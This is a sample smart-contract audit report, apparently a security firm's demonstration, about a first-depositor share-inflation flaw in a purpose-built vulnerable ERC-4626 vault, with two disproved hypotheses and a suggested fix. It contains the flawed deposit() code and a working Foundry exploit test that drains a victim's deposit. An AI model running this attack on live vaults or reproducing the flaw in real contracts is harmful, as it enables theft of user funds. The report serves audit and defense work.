Sample audit report: first-deposit share inflation in an ERC-4626 vault
One proven finding, two disproved hypotheses, one Foundry proof.
This report is a sample written to show structure. The contract is a minimal vulnerable vault made for this page, not a live protocol, and the proof is a local Foundry test.
Summary
SampleVault holds one token and issues shares for deposits. We tested three hypotheses. One is proven and reported: the first depositor can inflate the share price with a direct donation and take the next depositor's whole deposit (SX-01, High). Two are disproved and logged: reentrancy through the token callback (SX-02) and an owner-controlled indefinite freeze (SX-03).
Scope
| Item | Value |
|---|---|
| Contract | SampleVault.sol, 60 lines |
| Compiler | Solidity 0.8.24 |
| Environment | Local Foundry harness with a mock ERC-20 token |
| Impacts tested | Loss of user funds, permanent freezing of funds |
| Out of scope | The token contract, deployment scripts, front ends |
Findings at a glance
| ID | Hypothesis | Severity | Verdict |
|---|---|---|---|
| SX-01 | First depositor can inflate the share price and take the next deposit | High | Proven |
| SX-02 | redeem() can be re-entered through the token callback | High | Disproved |
| SX-03 | The owner can freeze withdrawals indefinitely | Medium | Disproved |
SX-01: First depositor can inflate the share price
Severity: High. Verdict: Proven.
Root cause
deposit() mints assets * totalSupply / totalAssets() shares, and totalAssets() reads the vault's raw token balance. Anyone can send tokens to the vault directly, which raises totalAssets() without minting a share. After a 1 wei first deposit and a large donation, the next deposit rounds down to zero shares.
function deposit(uint256 assets, address to) external nonReentrant returns (uint256 shares) {
shares = totalSupply == 0 ? assets : (assets * totalSupply) / totalAssets();
asset.transferFrom(msg.sender, address(this), assets);
totalSupply += shares;
balanceOf[to] += shares;
}
Impact
A victim who deposits 1e18 tokens receives zero shares. The attacker then redeems their single share and receives the vault's entire balance, including the victim's deposit. The attacker needs no privileged access, and the loss is the victim's full deposit.
Proof
The test below reproduces the exploit end to end. The attacker spends 1e18 + 1 tokens and ends with 2e18 + 1; the difference is exactly the victim's deposit.
function test_SX01_firstDepositorInflation() public {
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker); // 1 wei buys the only share
token.transfer(address(vault), 1e18); // direct donation inflates the share price
vm.stopPrank();
vm.startPrank(victim);
token.approve(address(vault), type(uint256).max);
uint256 shares = vault.deposit(1e18, victim); // 1e18 * 1 / (1e18 + 1) rounds to 0
vm.stopPrank();
require(shares == 0, "victim received shares");
vm.prank(attacker);
vault.redeem(1, attacker); // the attacker's single share claims everything
require(token.balanceOf(victim) == 0, "victim kept funds");
require(token.balanceOf(attacker) == 2e18 + 1, "attacker did not profit");
}
Result:
$ forge test --match-test SX01
[PASS] test_SX01_firstDepositorInflation() (gas: 375227)
You can run it yourself: download the Foundry project or read the files directly (SampleVault.sol, SampleVault.t.sol), unzip, and run forge test.
Suggested fix
Revert when a deposit would mint zero shares, and add a virtual-shares offset (the ERC-4626 decimals offset) so a donation cannot move the price meaningfully. Alternatively, track assets with internal accounting instead of the raw token balance. Add a test that repeats the sequence above and expects a revert.
Hypotheses we disproved
A disproved hypothesis stays in the report so a reviewer can see what was tried.
SX-02: redeem() can be re-entered through the token callback
Hypothesis: a token that calls back into the vault during transfer could re-enter redeem() and withdraw twice.
Why it fails: redeem() and deposit() share a nonReentrant guard. The test below gives the token a hook that calls redeem() again; the nested call reverts with locked, and so does the outer one.
[PASS] test_SX02_reentrancyDisproved() (gas: 279424)
SX-03: The owner can freeze withdrawals indefinitely
Hypothesis: the owner could call pause() repeatedly and keep users from withdrawing.
Why it fails: pause() works once and lasts at most 72 hours (MAX_PAUSE). The test pauses, advances time by 72 hours, confirms users can redeem again, and confirms a second pause() reverts.
[PASS] test_SX03_pauseExpiresAndCannotRenew() (gas: 309300)
Method and limits
This is a synthetic report. We wrote the contract to be vulnerable in exactly one way so the report shows structure, not a real result. On a client engagement the same sections appear, with more hypotheses and real code.
A disproved hypothesis means we could not reproduce the attack with the approaches we tried. It is evidence that the contract resists that attack, not a proof that no attack exists. We say so in every report.
Want a report like this on your code?
Send the repository and commit, or the contract addresses, and the chain. We scope from there.